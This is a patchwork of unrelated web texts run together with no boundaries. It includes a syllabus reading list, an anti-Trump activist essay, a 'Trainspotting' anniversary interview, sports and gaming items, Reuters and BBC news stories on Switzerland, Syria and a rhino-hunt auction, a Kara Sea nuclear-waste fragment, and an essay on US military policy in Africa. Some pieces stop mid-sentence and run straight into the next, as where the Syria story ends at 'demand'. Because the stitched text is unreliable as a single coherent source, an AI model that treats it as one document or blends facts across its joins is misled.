Antras, Pol and Stephen R. Yeaple. 2013. “Multinational Firms and the Structure of International Trade.” NBER Working Paper, it is also Pol Antras and Stephen Yeaple, “Multinational Firms and the Structure of International Trade,” 2013, Handbook of International Economics,Volume 4, http://dx.doi.org/10.1016/B978-0-444-54314-1.00002-1
Cole, Harold L., Jeremy Greenwood, and Juan M. Sanchez. “Why Doesn’t Technology Flow From Rich to Poor Countries?” National Bureau of Economic Research Working Paper, 20856, January 2015.
Videos: Basics of multinational corporations, Intra-firm Trade, Intra-industry Trade, Gains from Multinationals, Who Gains from FDI?, Productivity in firms, Foreign investment in India, Competition from foreign retailers, What is a Maquiladora? Introduction to NAFTA, NAFTA and Mexican Agriculture, The Effect of NAFTA on the Mexican Economy.
IX. The politics of trade
Grossman, Gene M. and Elhanan Helpman. 1994. “Protection for Sale.” American Economic Review.
Goldberg, Pinelopi Koujianou and Giovanni Maggi. 1999. “Protection for Sale: An Empirical Investigation.” American Economic Review.
Mayda, Anna Maria and Dani Rodrik. 2005. “What are Some People (and Countries) More Protectionist than Others?” European Economic Review.
Grossman, Gene M. and Elhanan Helpman. 1995. “The Politics of Free-Trade Agreements.” American Economic Review.
Harrison, Ann and Jason Scorse. 2010. “Multinational and Anti-Sweatshop Activism.” American Economic Review.
Videos: The Political Economy of Tariffs, Does Trade Help the Environment?, Regulation as a Major Trade Barrier, Who Supports Free Trade?, The Cultural Diversity Critique of Markets.
Extra readings and videos will be added, as global events indicate.Barnett Newman, First Station, 1958 (National Gallery of Art, Washington)
Notes on building The Movement
HOW much blood has already been spilled to ensure the bloated, noxious appetite of the American Empire, to ensure the survival of white supremacy, imperialism, capitalism, the cis-hetero-patriarchy, borders, mass incarceration and detention? How much has been spilled to ensure the extinction of poor folks, black folks, brown folks, folks of Muslim faith, queer and trans folks, indigenous communities, immigrants, refugees, and radical leftist movements that demand liberation, self-determination, the right to live without unending degradation and violation? And how much more blood will be drawn?
I spent the three weeks leading up to the election in China for a family reunion thirty years in the making. I met a hundred new family members in one week. We rented out a party bus to the countryside and took over what used to be a farm that is now a resort for wealthy urban dwellers.
Most of my family had been sent out to work in the rural countryside during China’s Cultural Revolution for “re-education.” One of my uncles walked prematurely with a cane because of the twelve years he spent kneeling from dawn till dark in sub-zero temperatures in the Heilongjiang province. Several family members have permanent gastrointestinal damage from years of starvation and malnutrition. Some had been imprisoned. Some had their homes ransacked and burned. All harbored a kind of pain I cannot access or understand about the past. At night, people recounted stories of living under Mao during the Cultural Revolution. All the endings fell into one of several categories: death by execution, suicide, imprisonment, or torture. Some survived only to die decades later. Everyone, it occurred to me, had been maimed.
The question of what is it like to live under an autocratic dictator? has gone from a desire to understand my family to a desire to understand what will happen now. The fear I feel is as immense as the nonchalance my family feels: they don’t see the dictator in Trump. I don’t understand how they don’t feel imperiled by his rise, which is also the rise of white nationalism. I’m angry that they are first generation immigrants who want to close the door behind them. He’s obsessed with China, I said to my father regarding Trump two weeks ago, meaning, Don’t you see how that endangers you? Don’t you see the only Chinese people who will benefit from this are the ones in power who are not above slaughtering their own people? Then again, if not for white supremacy, China would be the most ruthlessly capitalist and vicious imperial power in the world right now. Then again, the sheer reach and the magnitude of damage that imperialism and white supremacy imprints on our souls can never be underestimated. I have to accept that my parents, who survived three decades of a genocidal demagogue whose promise of socialism was a practice of fascism, do not feel it is any more difficult now to survive than it was then. So I am in my reality and they are in theirs and still we live in the same world; and there are others, who have been legitimized and mobilized by Trump’s win, whose reality includes my extinction and my families’ extinction, and the extinction of anyone who is not white in America.
We have to resist extinction, resist violence, resist colonization, resist imprisonment and detention, resist deportation, resist an earth too warm and too toxic for human life, resist psychic and physical death, and risk being maimed if you haven’t been already, if we are to survive.
Now is the time for each one to teach many. My friend Lola, radical soul and nurse practitioner is holding an gynecological workshop at her apartment for anyone wanting to educate themselves on how to take care of their bodies and their reproductive health. If you can do the same, do the same. If you are an artist or activist in the public eye who has a record of speaking out against the white supremacist state, you need to protect yourself now because this is not the time for cruel optimism and denial, this is the time for sober pragmatism and idealism as frameworks for organizing a Movement for a safe and humane future. Secure your communications now. Candace Williams’s post on Medium, “70-Day Web Security Action Plan for Artists and Activists Under Siege” is thorough and useful. If you have tech skills, if you are computer literate, teach those who aren’t. Same if you have legal skills and really any skills that can be offered, taught, or shared. If you can afford it, take a self-defense class, even better if you can afford to gift someone who can’t pay to go with you. Impact is a fine organization that centers the empowerment of women and sexual assault and domestic violence survivors, and they have chapters in several cities. If you have space in your home, consider how it can be used to shelter, hide, protect, and feed those risking detention and/or deportation.
Meet with people in the flesh and write things down on paper. Organize solidarity hours and organize trainings for bystander intervention/de-escalation so we can do as much as possible to protect black, brown and Muslim bodies under siege with our bodies. If you don’t know where to start, start here with this round-up of resources. Boycott companies that do business with, or back the Trump family. Spread the word about a nationwide general strike on Inauguration Day, January 20th, 2017.
If you aren’t an organizer, learn from those who do organizing on a grassroots level, learn from prison abolitionists, learn from indigenous people who have had to defend their land, learn from the Black Lives Matter movement, learn from NO DAPL Standing Rock water protectors, learn from activists and organizations who are and have been fighting revolutions in Latin America, Asia, Africa, the Middle East and Eastern Europe, who are resisting U.S. backed regime change, U.S. intervention, drone strikes on their homes and their people. Get involved on the most local level you can and offer generously. Your degree of humbleness and willingness to do menial tasks and uncredited behind-the-scenes work should increase in proportion to your privilege and your safety and your history of involvement in organizing. That is to say if you are able-bodied, if you have money, if you have resources, if you are seen as white, hetero, cis, if you have had the opportunity to develop your politics through theory rather than through forced violations against your body and your people, then take that backseat, offer a share of your resources to help organizers and activists travel and stay sheltered, protect and stand with communities you are not from, but do not take up space. Humbleness is what fuels a courageous fight that does not center you as savior.
Accept that you will always have more to learn. Foundational texts are fundamentally insufficient, though they are a starting point. There have been PoC activists, organizers, socialists, and anarchists who have long been drawing connections between the U.S. occupation and wars at home, and the U.S. occupation and wars abroad–the violence the U.S. continues to commit against its black, Latinx, API, and indigenous communities must be understood within the same framework of violence this country continues to commit in supporting Israeli terrorism against a free Palestinian state, or in obstructing Puerto Rican self-determination, not to mention the too-many-to-list times the U.S. led and backed violent regime changes all around the world, including but not limited to Honduras, Libya, Afghanistan, Iraq, Syria, Pakistan, Chile, Colombia, El Salvador, the Philippines, Nicaragua, Haiti, Vietnam, Cambodia, Korea, Myanmar, and Laos.
Know that the violation, ownership, entitlement and destruction to the gender non-conforming and women’s bodies is deeply connected to the legacies of slavery and genocide and to the continued invasion, colonization, and occupation of lands abroad–this is the vile extent and pervasiveness of rape culture. Know that a true critique and denouncement of capitalism can only come from those who do not trivialize the resistance to gentrification, to anti-blackness, to Orientalism, to Islamophobia. Know that sex work, like all work under brutal capitalism and white supremacy, must be decolonized, not legalized.
Stay away from white people who are the loudest about their Marxism, their willingness to smash a window, who speak first at community meetings, who do not shut up when their time is up, who seek glory through their politics but offer little tenderness in their relationships; but do stay close to black and brown folks who know what it is to use their bodies to resist death and degradation, who love without domination. We do not deserve to only know love while colonized. We do not deserve to only build families while occupied.
This is about building a Movement rather than a movement, but know there have been people on the ground building movements without credit, without glory, people who have extended invitations to join their movements and the Movement for as long as one segment of humanity has oppressed another. As the radical Asian American activist Grace Lee Boggs, who lived an astounding one hundred years in the struggle, advised back in 1995:
A Movement begins to assume momentum when people begin exploring visionary answers to the questions being asked at the grassroots and engage in practical activities which can be replicated without huge bureaucracies. In the early stages of a Movement, the visionary answers being explored usually strike most people as too radical or too impractical. If they don’t, they are probably not profound enough to build a Movement.
This is our time for dazzling vision. At the same time, there are still homes to keep tidy, clothes that must be washed, children to look after, and clean water to be poured. If you can cook… get ready. There will be a lot of people who need to be fed.Robert Carlyle, Jonny Lee Miller, Ewan McGregor, and Ewen Bremner in 'Trainspotting'
This article originally appeared on VICE UK.
I was far too young to watch Trainspotting when it first came out. Mind you, that didn't stop it from penetrating the bubble of my pre-pubescent world. It was the film my friends and I would talk about in class, the film that had promotional posters we'd want to buy with our Christmas HMV vouchers, the film we lied about seeing right up until the point of actually seeing it.
In the late 90s, pre-internet, in a small English town in Yorkshire, Trainspotting provided us with a lot of firsts. It was a portal into an adult world we'd never seen before, in real life or on the screen. Tarantino had given us a glimpse at sex and drugs, but under a heavy gloss of style. Trainspotting added the weight of reality to that world, and watching it as a 12-year-old, the film made you feel more grown-up, somehow more experienced. Or at least it did for me.
Last week marked the 20th anniversary of the film, so to celebrate, I spoke to three of the main players: Ewan McGregor, who played Renton; Kelly MacDonald, who played Diane; and the author of the original novel, Irvine Welsh, whose new book The Blade Artist—out this April—continues the story of Trainspotting's Begbie.
Kelly MacDonald and Ewan McGregor in 'Trainspotting'
THE BOOK
Kelly MacDonald: It was on my radar, but I hadn't read it. I bought it after the first audition, so I didn't have much knowledge going in.
Ewan McGregor: Danny Boyle gave me the script to read, and I'd never read anything like it. I mean, it seemed to me to be the best role I may ever read. I was aware of the novel and the kudos it had already accrued, but I hadn't read it yet. So I was sort of blown away by it, and I made it my mission to persuade [Danny] that I was the right guy for the job. Then, when I read the novel, I loved it very much—I found it incredibly moving. Irvine Welsh is an incredible writer; he can take you from the depths of filth and despair and human baseness to being incredibly moved in the blink of an eye. Being a Scottish guy, and it being an intrinsically Scottish novel, I felt I was very connected to it.
FROM BOOK TO FILM
Irvine Welsh: There was loads of interest; everybody seemed to want to make a film of Trainspotting. Initially, I sold the rights to the wrong person—back then I was a bit of a naive gunslinger who had sort of stumbled into this mad vortex of different people having an interest in what I was doing. I finally got a screener from Danny [Boyle] of [his directorial debut] Shallow Grave, by which point I'd sold the rights to the other producer. I thought, Bastard, I've fucked this up big-time, because that kind of energy and filmmaking with my characters would have been a perfect match. I really had a sinking feeling thinking that I'd ruined it, but fortunately, we were able to resolve the situation.
To me, if you get a film made of your book, it's a complete win-win situation. If the film's shit, you just disassociate yourself from it and say, "They fucked up." It's brilliant. I talk to some writers who view it as their book being desecrated, and it's not that at all—your book's not being touched. Nobody is ripping out pages or changing words; all they're doing is transferring your storytelling into a different medium. I was asked if I wanted to be involved [as a writer], but I think the most important thing for me was not to fuck with the energy that these two guys [Danny Boyle and Andrew Macdonald, the producer] had. I looked at John Hodge's screenplay for Shallow Grave and thought, There's nothing I can teach this guy about screenwriting. I needed to keep a distance from it and let people get on with it.
AUDITIONING
KM: I heard about the film through these little yellow flyers; I was working in a restaurant in Glasgow, and they were being handed out. I was beginning to wonder what I was going to do with my life, and my interest was piqued as I was secretly thinking about drama school. I remember walking in and making eye contact with Danny, and that felt quite momentous. I don't know why, in retrospect. I definitely felt something.
I was so young when I got the role. I'd just turned 19 and was just totally unaware. I was flipping between the excitement of being around these boys I was hanging around with—because they were all so cool and charismatic and had lots of stories—and then being an absolute nervous wreck and hiding in the toilets.
THE MOST MEMORABLE SCENES TO SHOOT
KM: The club scene, coming out of it. I think it was my first day filming. That was a whole day and night shoot. All the boys were quite naughty and were drinking, so I was drinking. It was Shirley Henderson [who played Gail] who pointed out to me not to do that. I'd been in the pub for hours with various people who weren't filming scenes, and she was the one who said, "You might want to stop drinking." She was totally right. I think I was actually hungover by the time I did the scene. I didn't know how to stand on a marker, I was all over the place, and I didn't know how it all worked. The sex scene was obviously quite nerve-racking. I was very sexually inexperienced at that stage and limited in that area, so it was all a bit embarrassing. I was so unthinking and so naive and young that that was the day I invited my mom and my brother to the set.
EM: There were so many, because the scenes were so well-written and the other actors were so great. I remember the underwater sequences. I loved that. It's so un-busy and quiet, and you work with the camera in a very different way. I love that sequence—I love the idea of it and the sereneness of it. I loved all the scenes with Kelly. I loved the nightclub scene and outside the nightclub scene where [Renton's] trying to get off with her and gets in cab and all of that stuff. Kissing Kelly MacDonald in the back of a taxi, that was fun—I liked working with her very much. Kelly wasn't really an actress at that point; this was her first thing, and she turned up and blew everyone away. The withdrawal scene was an incredible thing to shoot, with the extending room and Jimmy Cosmo playing my dad. The park scene with Jonny Lee Miller, shooting the dog—that was good fun. We didn't really shoot a dog, though.
IW: The scene when "Perfect Day" [by Lou Reed] is playing, and he sinks into the ground—I think that was a great way to have that overdose, the way that you're lulling towards death. The second half of that scene, there's a relentless energy of it, and it's set piece after set piece. It struck me, as I've seen the way people can die not remotely dramatically on drugs, but just by slowly fading away and going to sleep, essentially. They can actually enjoy that sense of being taken, in a way, and sometimes they pull out of it and sometimes they don't. That scene summed up both the horror and the appeal of heroin to me. The deathly caress of it. I think that was a fantastic scene. There are very few visual directors around better than Danny Boyle; he knows how to tell a story in pictures, and he knows how to say something visually in a set piece.
Jonny Lee Miller, Ewan McGregor, Kevin McKidd, and Ewen Bremner on set
THE FINISHED FILM
IW: They booked a screening room in Soho, so I brought along people who really loved the book and would be very, very critical of the film if it wasn't any good. I brought along Bobby Gillespie and Andrew Innes from Primal Scream, Jeff Barrett from Heavenly Records, people who were friends who were really into the book, basically. People who would say it was shit if it didn't capture the spirit of the book. I was watching them more than I was the screen, to be honest, and there were a few comments like, "Is that meant to be Begbie? Is that meant to be Sick Boy?" And then it just stopped. Once the characters were embedded in their heads, it took over, and they were transfixed. They were all stunned speechless at the end of the movie. When they did find their voice in the bar afterward, it was fucking amazing—they were blown away, and they thought it was fucking brilliant. I knew then that it was going to be absolutely massive.
EM: I was completely speechless. I was bowled over by it, really. I remember coming out into the street afterwards and not quite being able to gather my thoughts about it. It was everything I'd imagined it would be and a hundred other things as well.
KM: What I recall most about seeing the film for the first time is more Bobby Carlyle's reaction to the film, because I was sitting next to him. He was almost crawling on the floor with embarrassment. Every time he came on screen he would dip lower in his seat, which I thought was interesting. That's how I feel too, though. I think it's fairly common. I didn't like watching myself. I still don't.
THE MUSIC
IW: Where I think I came into my own a bit with helping on the film was the soundtrack. Because I knew a lot of the musicians personally, I was able to put them in touch directly so [the filmmakers] could circumvent the process of having to pay massive bucks that they couldn't afford to get the music cleared. The artists were so enamored with the movie and wanted to be involved so much that they were coming in and saying to their record companies, "Can we let this [song] go?" That helped us secure the rights for a low cost, and sometimes no cost. There is no way we'd have been able to get such a soundtrack normally. Danny had worked with Leftfield on Shallow Grave, and I think he knew New Order from Manchester as well. There was such a great vibe about it that it spread to these musicians too, who gave us a bunch of stuff that would have normally cost us a fortune.
I reference most of the artists in the book: Iggy, Lou Reed, Bowie, and a lot of the house stuff I was into at the time. But what I didn't get was the Britpop thing. Primal Scream and Damon Albarn were friends, and I knew Jarvis Cocker, but I didn't really see the Britpop involvement. I didn't see how it would work, but I think it was Danny who decided we needed that contemporary feel, which was a masterstroke, because Britpop was kind of the last strand of British youth culture, and it helped to position the film as being the last movie of British youth culture.
Begbie throwing his glass into a crowd of people
REACTIONS TO THE FILM AND ACCUSATIONS OF DRUG GLAMORIZATION
IW: You had Bob Dole—the presidential candidate in the US—criticizing it, but he'd never seen the film. Cinema does inherently glamorize everything: It has actors, and there is a stylization there. One of the things I loved about the vision that Danny had for the film is that it wasn't going to be a pompous 1970s social realism film that would shame the bourgeoisie and policy-makers into spending money on the inner cities and all this kind of crap, because that ship has sailed, and it's never going to happen. If you can't shame policy-makers into spending money on resources, all you're doing is making rich people feel better that they're not poor people. For me, I wanted it to capture the excitement and verve of being young in quite a potentially hazardous environment, but still with that idea that there are all sorts of possibilities ahead, even if your current circumstances aren't particularly brilliant. It was the first film that said about drugs, "This can be really good fun, even though it can be really dangerous." I think you have to do that. "Just say no" doesn't work; you have to show both, the highs and the lows. You have to show why people get involved in that in the first place. To me, it's self-evident why people take drugs.
KM: I'd moved back home with my mom after the film for a bit. I'd been into town and when I got back, there were two Daily Mail or Daily Record journalists in the living room talking with my mom, which was a bit weird. I did a quick interview and got them out. Then, in the next few days, there was this front page story about a Trainspotting star's drugs nightmare. I thought: Oh man, who is it? It was me, because they'd asked if I'd ever taken drugs, and I was a bit of a naive plonker and said, "Yes, I took a hash yogurt once, and I was very ill."
THE SEQUEL
IW: John [Hodge] has delivered this knockout script, which is absolutely fantastic. It's based on Porno [Welsh's sequel to Trainspotting], but it's also evolved. We've had to evolve past that, because the actors would have been ten years older when Porno came out, and now they're 20 years older. It has to take into account that reality. It's very much telling a story about Edinburgh as it currently is. The main element to the story is basically Renton, Begbie, Sick Boy, and Spud getting back together again, and it tells the story of them getting involved in the vice industry in a very innovative way.
I think it has some fantastic set pieces and great opportunities for the actors to knock it out of the park, so I'm very excited. I just know that Danny will come up with this amazing visualization. I think it's going to be excellent. The thing that's going to be interesting is seeing how the young kids in the multiplex cinemas get on with it now, because they're older guys—it's not going to be a youth movie like Trainspotting was. It could be like watching your uncle dance at a wedding. Hopefully it will be fun and crazy enough. It's got the potential for some great, incendiary performances from the actors.
EM: It's going to be incredible. It's a very beautiful, brilliant script—and it needed to be. I don't think any of us would have wanted to be involved in something that wasn't going to live up to the first film. That's the danger with any sequel, but especially this one and after such a long period of time.
KM: I'm in talks. I've read the script. I don't know how much I can talk about it, to be honest. It would be so interesting to work with the same people, and everyone will have changed, but I definitely know how to stand on a marker now. Trainspotting was my weird beginning, and I'm so grateful for it because that could have been it, but it's not, and now I'm actually getting to do this job that I really love, and I'm not hiding in the toilets so much any more.
Special thanks to VICE Canada for the assistance with this article.
Follow Daniel on Twitter.The St. Paul Saints have had a lot of fun over the years — that’s part of their motto, after all — naming their iconic pig mascot each season.
But this year was important and special. It was Year 25 of the pig naming, and not just any name would do. The Saints CLAIM they got more than 4 million suggestions for this year’s pig, but I have a feeling that’s just part of the gag.
Because, you see, this year’s pig is named Alternative Fats.
Per the team’s clever news release: “When you’re a franchise like the Saints sometimes you need to SPICE it up, but this name is no CON and we’re doing it our WAY. Alternative Fats will enter the field each game like no other pig before him, with a white ground covering draped from his mansion-style pigpen to home plate for the billions of Saints fans to shower him with love and admiration. Alternative Fats will be so HUUUUGE it will make all other pigs jealous. Alternative Fats will go down in the pantheon of the greatest mascot names in the history of sports and we know a thing or two about great sports mascots. Welcome to the Saints Orwellian version of Animal Farm.”
That’s magnificent work by Daniel Jones of Northfield, credited with coming up with the winning name and getting a raft of prizes as a reward. This is even better than 2008 entry Boarack Ohama.
To see the Saints and Alternative Fats in all their glory, head to CHS Field. Their season starts Thursday night.Metal Gear Solid V: Ground Zeroes Looks Even Better On PC
By Ishaan. November 24, 2014. 11:02am
Konami and Nvidia have shared the first screenshots of Metal Gear Solid V: Ground Zeroes from the PC version of the game. The two companies have also provided a comparison of the PC and PlayStation 4 versions, which you can check out below.
Cliff scene – PC:
Cliff scene – PS4 (Interactive comparison here):
Truck scene – PC:
Truck scene – PS4 (Interactive comparison here):
Here’s a list of features that are new to the PC version of Metal Gear Solid V: Ground Zeroes:
60 FPS frame rate
Additional deferred lights per scene
Additional shadows per scene
Higher-resolution render targets
Higher-resolution shadows
Increased detail over distances
NVIDIA SLI Multi-GPU support
Options to adjust seven graphics features (Effects, Lighting, Screen Filtering, Shadows, Texture Filtering, Textures)
Resolution support up to and including 3840×2160 (4K)
Screen Space Reflections
Metal Gear Solid V: Ground Zeroes will hit PC via Steam on December 18th.ZURICH (Reuters) - Swiss voters would rather maintain close economic ties with the European Union than adopt immigration curbs that could jeopardise Switzerland’s access to the EU single market, a survey published on Sunday showed.
The issue is the thorniest political issue in Switzerland’s relations with the EU, its biggest trading partner. The 28-nation bloc insists on maintaining the principle of free movement of people, as enshrined in bilateral accords with Switzerland.
The Swiss parliament last month dodged a conflict with Brussels by adopting a system of giving unemployed locals hiring preference over EU nationals instead of imposing immigration quotas, as Swiss voters had demanded in a binding 2014 referendum.
In a poll of 1,000 people conducted by OpinionPlus for the SonntagsBlick paper, 47 percent said they would again vote for immigration curbs as in 2014 versus 43 percent against.
But 52 percent opposed a campaign by a right-wing isolationist group to end the free movement rules that underpin bilateral accords permitting Swiss access to the EU single market, with only 30 percent in favour, the poll found.
If forced to choose between immigration curbs and the bilateral accords, 54 percent backed the accords and 41 percent wanted immigration quotas, with 5 percent unsure.
The Swiss approach to resolving the conflict is being scrutinised for hints of what Britain might expect as it negotiates the terms of its divorce, or ‘Brexit’, from the EU after its own referendum last June.
Under the Swiss system of direct democracy, how voters view the issue remains very important.
The SonntagsBlick newspaper also quoted Albert Roesti, head of the right-wing Swiss People’s Party (SVP) that champions immigration limits, as saying the question in the poll was wrongly formulated.
“We are convinced that we can implement the (2014) mass immigration initiative without the EU suspending the bilaterals,” he said.
The SVP has said existing bilateral economic accords were too valuable to the EU for Brussels to annul them, while EU leaders have stressed they cannot show leniency to non-EU member Switzerland without encouraging hardline Brexit negotiators.Image copyright AP Image caption Doctors are struggling to treat the high numbers of casualties
A group of 50 doctors, including Nobel Prize winners, say Syria's health system is at breaking point as medics are forced to flee the fighting.
The signatories to the letter in The Lancet say it is "arguably one of the world's worst humanitarian crises since the end of the Cold War".
According to the Violations Documentation Centre, 469 health workers are currently imprisoned.
Some 15,000 doctors have left Syria, says the Council on Foreign Relations.
Of the 5,000 physicians in Aleppo before the conflict started, only 36 remain.
Makeshift clinics have become fully fledged trauma centres, struggling to cope with the injured and sick The signatories to the letter in The Lancet
According to the World Health Organization, 37% of Syrian hospitals have been destroyed and a further 20% severely damaged.
"Makeshift clinics have become fully fledged trauma centres, struggling to cope with the injured and sick," says the letter.
It warns that horrific injuries are going untended; women are giving birth with no medical assistance; men, women, and children are undergoing life-saving surgery without anaesthetic; and victims of sexual violence have nowhere to turn to.
"The Syrian population is vulnerable to outbreaks of hepatitis, typhoid, cholera, and dysentery. The lack of medical pharmaceuticals has already exacerbated an outbreak of Cutaneous leishmaniasis, a severe infectious skin disease that can cause serious disability, there has been an alarming increase in cases of acute diarrhoea, and in June aid agencies reported a measles epidemic sweeping through districts of northern Syria," the letter says.
The signatories, which include former WHO chief Gro Harlem Brundtland, demand |
-27 was scuttled in Stepovogo Bay with its two reactors filled with spent nuclear fuel. At a seminar in February 2012 it was revealed that the reactors on board the submarine could re-achieve criticality and explode (a buildup of heat leading to a steam explosion vs. nuclear). The catalogue of waste dumped at sea by the Soviets, according to documents seen by Bellona, includes some 17,000 containers of radioactive waste, 19 ships containing radioactive waste, 14 nuclear reactors, including five that still contain spent nuclear fuel; 735 other pieces of radioactively contaminated heavy machinery, and the K-27 nuclear submarine with its two reactors loaded with nuclear fuel.[11]
Nature reserve [ edit ]
The Great Arctic State Nature Reserve—the largest nature reserve of Russia—was founded on May 11, 1993 by Resolution No. 431 of the Government of the Russian Federation (RF). The Kara Sea Islands section (4,000 km²) of the Great Arctic Nature Reserve includes: the Sergei Kirov Archipelago, the Voronina Island, the Izvestiy TSIK Islands, the Arctic Institute Islands, the Svordrup Island, Uedineniya (Ensomheden) and a number of smaller islands. This section represents rather fully the natural and biological diversity of Arctic sea islands of the eastern part of the Kara Sea.
Nearby, the Franz Josef Land and Severny Island in northern Novaya Zemlya are also registered as a sanctuary, the Russian Arctic National Park.
See also [ edit ]Image copyright AP Image caption There were protests in Dallas as the auction took place
A permit to hunt and kill an endangered Black Rhino in Namibia has been sold at a US auction for $350,000 (£212,000).
The Dallas Safari Club in Texas says the hunt will help protect the species by removing an old aggressive rhino, and funding future conservation.
However, the auction has been fiercely criticised by conservationists, and has even drawn death threats.
Namibia is home to about a third of the world's 5,000 black rhinos, and issues just three hunting permits a year.
It is the first time a permit has been auctioned outside the southern African nation.
'A sad joke'
The auction was held amid tight security at a Dallas convention centre, where dozens of protesters had gathered.
The winning bidder - who has not been named - will hunt an old, non-breeding male rhino.
The organisers say such animals actually pose a threat to younger rhinos, which they sometimes charge and kill.
All proceeds will be donated to the Namibian government and will be earmarked for conservation efforts, safari club officials said.
Image copyright Reuters Image caption Experts say growing demand for rhino horn in Asia is driving up instances of poaching
Animal rights groups described the hunt's conservation claim as "perverse" and "a sad joke".
"This auction is telling the world that an American will pay anything to kill their species," Jeffrey Flocken of the International Fund for Animal Welfare (Ifaw) told the Associated Press.
"This is, in fact, making a spectacle of killing an endangered species."
More than 80,000 people signed online petitions against the auction.
The FBI says it is investigating a string of death threats over the auction.
At present it is estimated that there are around 20,000 white rhinos left.
Experts say that growing demand for rhino horn in Asia is driving up instances of poaching.
It is being fuelled by the belief in countries like China and Vietnam that powdered rhino horn has medicinal powers and can impact diseases like cancer. Horns can sell for around $65,000 a kg.The Rockies have acquired first baseman Cody Decker from the Royals, according to announcements from both teams. Cash considerations are going back in return.
Decker, 29, has minimal major league experience but was long a solid producer in the upper minors in the Padres’ organization — where he spent his entire career before signing with the Royals as a minor league free agent. Best known for his entertaining antics — particularly those involving former teammate Jeff Francoeur — Decker is also a quality hitter. Indeed, he’s been quite consistent, posting OPS tallies ranging between.819 and.865 in every MiLB season dating back to 2010.
There’s a fair bit of swing and miss to his game, but Decker has also shown a strong walk rate and good power, with several twenty home run campaigns under his belt. The issue, of course, is that he’s limited defensively. Though Decker has filled in at times at third base and the corner outfield in recent years, he’s spent the vast majority of his time at first base.The other day, Hamid Karzai, the U.S.-supported Afghan president who was once sardonically nicknamed “the mayor of Kabul,” had a few curious things to say about American policy in the Muslim world. Karzai, of course, is a man whose opinions -- whether on U.S. special operations forces and their (out of control) militias, U.S. night raids on Afghan homes, or U.S. air strikes on Afghan villages -- Washington loves to ignore. He is considered “volatile.” Sometimes, however, it’s worth listening to what our subordinate allies, uncomfortable nationalists-cum-puppets, think and say about us.
As Josh Rogin reported at the Daily Beast, Karzai recently suggested that, starting in the early 1980s when the Reagan administration and the CIA buddied up with the Saudis and Pakistani intelligence and backed a set of extreme fundamentalist Afghan rebels against the Soviets, the U.S. has been, advertently or not, promoting Islamic radicalism in the Greater Middle East. As Karzai said of that long-forgotten moment, “The more radical we looked and talked, the more we were called mujahedin. The consequence of that was a massive effort toward uprooting traditional Afghan values and culture and tolerance.” In his speech at the 2013 U.S.-Islamic World Forum, he made a case for the ways in which Washington’s destabilization of the region has never ended, provoking ever more extreme blowback as it goes.
Without a doubt, the central event in the multi-decade fiasco that for a few years was known as the Global War on Terror was the invasion of Iraq, Washington’s preeminent act of folly so far in the twenty-first century. Its disastrous effects have yet to be fully absorbed or assessed. Yet without that invasion, it is hard to imagine a whole series of developments, including the present killing fields in Syria, the potential disintegration of Iraq itself, the Arab Spring, or the spread of extreme Islamic factions ever more widely in a vast region. The irony, of course, is that the Bush administration and the neocon types who set so much of this in motion used to refer to the Greater Middle East from North Africa to the Chinese border disparagingly as “the arc of instability.” Today, it increasingly looks like an arc of chaos and, as Nick Turse indicates, the process, far from ending, seems to be spreading -- in this case, deep into Africa.
Turse, author of the recent bestseller Kill Anything That Moves: The Real American War in Vietnam, has been following the latest U.S. global command, AFRICOM, as it embeds American military power ever more fully on the African continent. (In the process, he has engaged in full-scale public debate with that command over the nature of what it is doing.) Today, he offers a magisterial overview of what can be known about the increasing American military presence in Africa and how it is continuing a now more than three-decade-old process of spurring destabilization, the growth of radical Islamic movements, and blowback in a new region of the planet. Tom
A careful examination of the security situation in Africa suggests that it is in the process of becoming Ground Zero for a veritable terror diaspora set in motion in the wake of 9/11 that has only accelerated in the Obama years. Recent history indicates that as U.S. “stability” operations in Africa have increased, militancy has spread, insurgent groups have proliferated, allies have faltered or committed abuses, terrorism has increased, the number of failed states has risen, and the continent has become more unsettled.
The Gulf of Guinea was one of the primary areas in Africa where “stability,” the command spokesman assured me, had “improved significantly,” and the U.S. military had played a major role in bringing it about. But what did that say about so many other areas of the continent that, since AFRICOM was set up, had been wracked by coups, insurgencies, violence, and volatility?
Never mind that most Americans couldn’t find it on a map and haven’t heard of the nations on its shores like Gabon, Benin, and Togo. Never mind that just five days before I talked with AFRICOM’s chief spokesman, the Economist had asked if the Gulf of Guinea was on the verge of becoming “ another Somalia,” because piracy there had jumped 41% from 2011 to 2012 and was on track to be even worse in 2013.
The Gulf of Guinea. He said it without a hint of irony or embarrassment. This was one of U.S. Africa Command’s big success stories. The Gulf... of Guinea.
The signal event in this tsunami of blowback was the U.S. participation in a war to fell Libyan autocrat Muammar Qaddafi that helped send neighboring Mali, a U.S.-supported bulwark against regional terrorism, into a downward spiral, prompting the intervention of the French military with U.S. backing. The situation could still worsen as the U.S. armed forces grow ever more involved. They are already expanding air operations across the continent, engaging in spy missions for the French military, and utilizing other previously undisclosed sites in Africa.
The Terror Diaspora
In 2000, a report prepared under the auspices of the U.S. Army War College’s Strategic Studies Institute examined the “African security environment.” While it touched on “internal separatist or rebel movements” in “weak states,” as well as non-state actors like militias and “warlord armies,” it made no mention of Islamic extremism or major transnational terrorist threats. In fact, prior to 2001, the United States did not recognize any terrorist organizations in sub-Saharan Africa.
Shortly after the 9/11 attacks, a senior Pentagon official claimed that the U.S. invasion of Afghanistan might drive “terrorists” out of that country and into African nations. “Terrorists associated with al Qaeda and indigenous terrorist groups have been and continue to be a presence in this region," he said. "These terrorists will, of course, threaten U.S. personnel and facilities.”
When pressed about actual transnational dangers, the official pointed to Somali militants but eventually admitted that even the most extreme Islamists there “really have not engaged in acts of terrorism outside Somalia.” Similarly, when questioned about connections between Osama bin Laden’s core al-Qaeda group and African extremists, he offered only the most tenuous links, like bin Laden’s “salute” to Somali militants who killed U.S. troops during the infamous 1993 “Black Hawk Down” incident.
Despite this, the U.S. dispatched personnel to Africa as part of Combined Joint Task Force - Horn of Africa (CJTF-HOA) in 2002. The next year, CJTF-HOA took up residence at Camp Lemonnier in Djibouti, where it resides to this day on the only officially avowed U.S. base in Africa.
As CJTF-HOA was starting up, the State Department launched a multi-million-dollar counterterrorism program, known as the Pan-Sahel Initiative, to bolster the militaries of Mali, Niger, Chad, and Mauritania. In 2004, for example, Special Forces training teams were sent to Mali as part of the effort. In 2005, the program expanded to include Nigeria, Senegal, Morocco, Algeria, and Tunisia and was renamed the Trans-Saharan Counterterrorism Partnership.
